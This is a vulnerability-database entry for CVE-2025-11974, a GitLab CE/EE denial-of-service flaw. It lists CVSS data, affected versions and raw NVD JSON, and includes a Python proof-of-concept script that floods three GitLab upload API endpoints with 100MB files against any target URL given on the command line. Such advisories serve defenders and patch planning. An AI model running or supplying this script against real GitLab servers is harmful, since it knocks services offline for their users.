Security Vulnerability Report
中文
CVE-2025-11974 CVSS 6.5 MEDIUM

CVE-2025-11974

Published: 2025-10-27 00:15:41
Last Modified: 2025-10-28 13:44:58

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.3.5, 18.4 before 18.4.3, and 18.5 before 18.5.1 that could have allowed an unauthenticated attacker to create a denial of service condition by uploading large files to specific API endpoints.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 11.7 且 < 18.3.5
GitLab CE/EE >= 18.4 且 < 18.4.3
GitLab CE/EE >= 18.5 且 < 18.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11974 PoC - GitLab DoS via Large File Upload # This PoC demonstrates uploading large files to GitLab API endpoints # to cause denial of service import requests import sys import time TARGET_URL = "https://gitlab.example.com" FILE_SIZE_MB = 100 # Size of file to upload in MB API_ENDPOINTS = [ "/api/v4/projects/1/uploads", "/api/v4/snippets/1/uploads", "/api/v4/groups/1/uploads" ] def create_large_file(size_mb): """Generate a large file for upload testing""" return b'\x00' * (size_mb * 1024 * 1024) def upload_large_file(target_url, endpoint, file_data): """Upload large file to GitLab API endpoint""" url = f"{target_url}{endpoint}" files = {'file': ('large_file.bin', file_data, 'application/octet-stream')} try: print(f"[*] Attempting upload to {url}") response = requests.post(url, files=files, timeout=300) return response.status_code, response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None, str(e) def main(): if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] CVE-2025-11974 PoC - GitLab DoS via Large File Upload") print(f"[*] Target: {TARGET_URL}") print(f"[*] Generating {FILE_SIZE_MB}MB file...") large_file = create_large_file(FILE_SIZE_MB) print(f"[*] Starting upload attack...") for endpoint in API_ENDPOINTS: status, response = upload_large_file(TARGET_URL, endpoint, large_file) if status: print(f"[+] Upload to {endpoint} - Status: {status}") time.sleep(1) print("[*] Attack completed. Monitor server resource usage.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11974", "sourceIdentifier": "[email protected]", "published": "2025-10-27T00:15:40.780", "lastModified": "2025-10-28T13:44:57.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.3.5, 18.4 before 18.4.3, and 18.5 before 18.5.1 that could have allowed an unauthenticated attacker to create a denial of service condition by uploading large files to specific API endpoints."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "11.7.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "8A214F13-315E-4707-888F-24C3E1E7E425"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.7.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "D7BE13D6-9FEC-4C4F-9F66-C7C86164FFEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "7B4DC1E2-0920-4A1B-8AE8-89B7FDF0897A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "425AEB81-EA04-4702-99F8-B623614F6901"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:community:*:*:*", "matchCriteriaId": "3D74D76F-A787-40A8-A20F-C48C48983B10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "CCF08EA3-6D3E-4388-BA9D-A992B771998F"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/10/22/patch-release-gitlab-18-5-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/571761", "source": "[email protected]", "tags": ["Broken Link"]}]}}